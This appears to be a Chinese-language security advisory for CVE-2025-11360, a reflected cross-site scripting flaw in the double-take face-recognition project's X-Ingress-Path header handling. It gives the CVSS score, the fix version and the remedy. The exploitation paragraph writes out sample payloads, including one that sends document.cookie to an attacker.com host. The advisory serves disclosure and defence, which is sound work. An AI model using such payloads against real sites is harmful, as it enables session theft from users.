CVE-2025-11360CVE-2025-11360是jakowenko double-take项目中存在的一个跨站脚本(XSS)漏洞,影响版本为1.13.1及之前的版本。该漏洞位于API组件的api/src/app.js文件中的app.use函数处,攻击者可以通过操纵HTTP请求头中的X-Ingress-Path参数注入恶意的JavaScript代码。由于该漏洞属于反射型XSS,攻击者需要诱导用户点击特制的链接或在特定上下文中发起请求才能触发利用。
该漏洞的CVSS 3.1评分为4.3分,属于中等严重级别。虽然漏洞可被远程利用,但攻击向量为网络可访问且无需认证权限,不过需要用户交互(UI:R)才能完成攻击。漏洞对机密性影响较低(C:L),对完整性影响较低(I:L),对可用性无影响(A:N)。
double-take是一个开源的面部识别项目,主要用于监控摄像头和媒体文件中的人脸检测与识别。该项目在家庭自动化和安全监控领域有一定应用,其API组件负责处理来自前端的请求和与后端服务的通信。由于X-Ingress-Path头通常用于反向代理环境中标识原始请求路径,该参数未经过适当的过滤和转义就被使用,导致XSS漏洞的产生。
该漏洞由VulDB社区的[email protected]发现并报告,官方已在版本1.13.2中修复,修复提交为e11de9dd6b4ea6b7ec9a5607a920d48961e9fa60。建议所有使用受影响版本的用户尽快升级到1.13.2或更高版本以消除安全风险。
该漏洞的技术原理是利用double-take API组件中对X-Ingress-Path HTTP请求头处理不当的问题。在Node.js/Express框架中,app.use()中间件用于注册请求处理函数。当API接收到包含X-Ingress-Path头的请求时,该头的值未经充分的HTML实体编码或过滤就被直接嵌入到响应页面中。
具体利用方式如下:攻击者构造一个包含恶意JavaScript代码的HTTP请求,将恶意负载放置在X-Ingress-Path请求头中,例如设置为"<script>alert(document.cookie)</script>"或更复杂的payload如"<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"。当目标用户通过浏览器访问受影响的API端点,并且请求经过反向代理(如Nginx Ingress)转发时,X-Ingress-Path头的值会被服务器端直接渲染到返回的HTML响应中。由于浏览器会解析并执行响应中的<script>标签或事件处理器中的JavaScript代码,攻击者即可在受害者的会话上下文中执行任意脚本。
这种反射型XSS可导致多种攻击后果,包括但不限于:窃取用户的会话Cookie和认证令牌、执行未授权的操作(如修改面部识别配置)、将用户重定向到恶意钓鱼页面、在受害者浏览器中植入恶意软件或进行键盘记录等。由于该API通常部署在内部网络或通过反向代理暴露,攻击者可能需要先获得网络访问权限或通过社会工程学手段诱导受害者访问恶意链接。
修复方案是在处理X-Ingress-Path参数时引入适当的输入验证和输出编码机制,例如使用HTML实体编码函数(如he.encode()或lodash.escape())对用户可控的输入进行转义,确保特殊字符(如<、>、"、'、&)被正确转义为HTML实体,从而防止浏览器将其解释为可执行代码。